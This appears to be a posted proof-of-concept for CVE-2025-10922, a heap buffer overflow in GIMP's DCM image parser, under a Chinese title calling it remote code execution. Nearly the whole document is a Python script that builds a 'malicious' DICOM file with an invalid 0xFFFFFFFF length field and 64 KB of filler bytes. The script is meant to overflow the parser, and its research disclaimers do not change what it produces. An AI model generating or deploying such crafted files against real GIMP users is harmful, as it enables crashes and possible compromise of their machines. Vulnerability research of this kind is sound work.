CVE-2025-10922 GIMP DCM文件解析堆缓冲区溢出远程代码执行漏洞

#!/usr/bin/env python3 """ CVE-2025-10922 PoC - GIMP DCM File Parsing Heap Buffer Overflow Note: This PoC is for educational and security research purposes only. Author: Security Research Reference: ZDI-CAN-27863 """ import struct import sys def create_malicious_dcm(): """ Generate a malicious DCM file to trigger heap buffer overflow in GIMP's DCM file parser. """ # DCM File Preamble (128 bytes) preamble = b'\x00' * 128 # DICOM Magic Number magic = b'DICM' # Create malformed DCM data with oversized field # This exploits the lack of length validation in GIMP's parser malicious_data = b'\x08\x00\x01\x00' # Group/Element tag malicious_data += struct.pack('<I', 0xFFFFFFFF) # Invalid length (VL) malicious_data += b'\x41' * 65536 # Oversized data to overflow heap buffer dcm_file = preamble + magic + malicious_data return dcm_file def main(): print("[*] CVE-2025-10922 PoC Generator") print("[*] Target: GIMP DCM File Parser") print("[*] Vulnerability: Heap-based Buffer Overflow") if len(sys.argv) < 2: output_file = 'malicious_cve202510922.dcm' else: output_file = sys.argv[1] print(f"[*] Generating malicious DCM file: {output_file}") malicious_dcm = create_malicious_dcm() with open(output_file, 'wb') as f: f.write(malicious_dcm) print(f"[+] Malicious DCM file created: {output_file}") print(f"[+] File size: {len(malicious_dcm)} bytes") print("[!] Warning: This PoC is for research purposes only") print("[!] Do not use for malicious purposes") if __name__ == '__main__': main()